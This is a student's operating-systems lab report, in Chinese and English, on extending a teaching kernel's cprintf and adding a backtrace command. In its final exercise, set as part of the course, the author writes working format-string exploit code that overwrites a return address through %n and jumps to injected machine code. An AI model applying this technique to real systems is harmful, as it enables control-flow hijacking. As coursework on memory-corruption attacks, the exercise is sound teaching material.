CSDI Lab 1

1120379050 王灏 wh.sjtu@gmail.com

March 17, 2013

考虑到不需要将所有exercise的答案放入报告中，所有如果需要check之前exercise的完成情况，可以访问[link](http://haow.ca/?p=973)

exercise 8:

We have omitted a small fragment of code - the code necessary to print octal numbers using patterns of the form "%o". Find and fill in this code fragment.

可以通过观察printfmt.c中，处理%u和%d的代码，得到输出8进制的代码如下：

```
case 'o':
    num = getuint(&ap, lflag);
    base = 8;
    goto number;
```

通过getuint从参数列表中获得对应unsigned long long值，再设置base为8，跳转到number段，通过printnum函数输出。

Exercise 9:

Enhance the cprintf function to allow it print with the %n specifier, you can consult the %n specifier specification of the C99 printf function for your reference by typing "man 3 printf" on the console. In this lab, we will use the char * type argument instead of the C99 int * argument, that is, "the number of characters written so far is stored into the signed char type integer indicated by the char * pointer argument. No argument is converted." You must deal with some special cases properly, because we are in kernel, such as when the argument is a NULL pointer, or when the char integer pointed by the argument has been overflowed. Find and fill in this code fragment.

从参数列表里获得char*类型的指针tmp，然后判断该指针是否为NULL指针，如果为NULL则通过putch输出null_error信息，否则将void*类型的记录print个数的指针putdat强制转换成signed char*。然后将参数列表的指针tmp指向该值。然后对putdat转成signed char的值进行越界判断，如果越界则输出overflow的信息。

```
case 'n': {
    const char *null_error = "\nerror! writing through NULL pointer! (%n
argument)\n";
    const char *overflow_error = "\nwarning! The value %n argument pointed
to has been overflowed!\n";

    // Your code here
    char* tmp = va_arg(ap, char*);
    if(tmp == NULL) {
        for(; (ch = *null_error++) != '\0';) {
            putch(ch, putdat);
        }
        break;
    }
    *tmp = *((signed char*) putdat);
    if(*(signed char*) putdat < 0) {
        for(; (ch = *overflow_error++) != '\0';) {
            putch(ch, putdat);
        }
        break;
    }
    break;
}
```

Exercise 12:

Implement the backtrace function as specified above. Use the same format as in the example, since otherwise the grading script will be confused. When you think you have it working right, run make grade to see if its output conforms to what our grading script expects, and fix it if it doesn't. After you have handed in your Lab 1 code, you are welcome to change the output format of the backtrace function any way you like.

Exercise 13:

Modify your stack backtrace function to display, for each eip, the function name, source file name, and line number corresponding to that eip.

Exercise 12和Exercise 13的代码如下:

加入 backrace 命令:

```
static struct Command commands[] = {
    { "help", "Display this list of commands", mon_help },
    { "kerninfo", "Display information about the kernel", mon_kerninfo },
    { "backtrace", "Display function stack information", mon_backtrace },
};
```

然后修改mon_backtrace函数：

```
int
mon_backtrace(int argc, char **argv, struct Trapframe *tf)
{
    // Your code here.
    uint32_t *ebp = (uint32_t*) read_ebp();
    struct Eipdebuginfo eip_info;
    cprintf("Stack backtrace:\n");
    while(ebp != 0x0) {
        cprintf(" ebp %08x eip %08x args %08x %08x %08x %08x %08x\n",
            ebp, ebp[1], ebp[2], ebp[3], ebp[4], ebp[5], ebp[6]);
        debuginfo_eip(ebp[1], &eip_info);
        cprintf("%s:%d: %.*s+%d\n",
                eip_info.eip_file,
                eip_info.eip_line,
                eip_info.eip_fn_namelen,
                eip_info.eip_fn_name,
                ebp[1]-eip_info.eip_fn_addr);
        ebp = (uint32_t*) ebp[0];
    }

    overflow_me();
    cprintf("Backtrace success\n");
    return 0;
}
```

从inc/x86.h下的read_ebp()函数获得ebp，然后根据ebp地址可以从栈里依次获得eip以及args。再通过Eipdebuginfo结构体获取执行指令的信息。完成backtrace功能。

Exercise 14:

Recall the buffer overflow attack that you have learned in the ICS course. (See more details in http://en.wikipedia.org/wiki/Buffer_overflow). Modify your start_overflow function to use a technique similar to the buffer overflow to invoke the do_overflow function. You must use the above cprintf function with the %n specifier you augmented in "Exercise 9" to do this job, or else you won't get the points of this exercise, and the do_overflow function should return normally.

基于printf的格式化字符串攻击，能够将EIP返回地址的指针指向我们想要执行的代码片段。具体代码如下：

```
void
start_overflow(void)
{
    char str[256] = {};
    int nstr = 0;
    char *pret_addr;
    char exec[11];

    int* eip_ptr = (int*)read_pretaddr();
    int eip_addr = *eip_ptr;
    cprintf("%#x\n", eip_addr);
    int of_addr = (int) do_overflow;
    //cprintf("%#x\n", of_addr);
    //cprintf("%#x\n", (int*)exec);
    exec[0] = 0x68;
    exec[1] = (char)eip_addr;
    exec[2] = (char)(eip_addr >> 8);
    exec[3] = (char)(eip_addr >> 16);
    exec[4] = (char)(eip_addr >> 24);
    exec[5] = 0x68;
    exec[6] = (char)of_addr;
    exec[7] = (char)(of_addr >> 8);
    exec[8] = (char)(of_addr >> 16);
    exec[9] = (char)(of_addr >> 24);
    exec[10] = 0xc3;
    memset(str, '\0', 256);
    memset(str,'1', (int)exec & 0x000000ff);
    cprintf("%s%n", str, (char*)eip_ptr);

    memset(str, '\0', 256);
    memset(str,'1', (int)exec >> 8 & 0x000000ff);
    cprintf("%s%n", str, (char*)eip_ptr+1);

    memset(str, '\0', 256);
    memset(str,'1', (int)exec >> 16 & 0x000000ff);
    cprintf("%s%n", str, (char*)eip_ptr+2);

    memset(str, '\0', 256);
    memset(str,'1', (int)exec >> 24 & 0x000000ff);
    cprintf("%s%n", str, (char*)eip_ptr+3);
}
```

首先通过read_pretaddr()函数获得指向栈上ret值的指针eip_ptr，然后获得ret值eip_addr。通过函数名获得将要执行的do_overflow()函数地址of_addr。然后构建一下代码的机器码

```
push eip_addr
push of_addr
ret
```

并存入exec[11]中，对exec进行一次调用防止被编译器优化掉。然后把exec这段数组的地址通过printf的格式化攻击存入到eip_ptr指向的地址里。这样在函数start_overflow()执行结束后，能够执行exec里面的语句，从而达到执行do_overflow()函数的目的。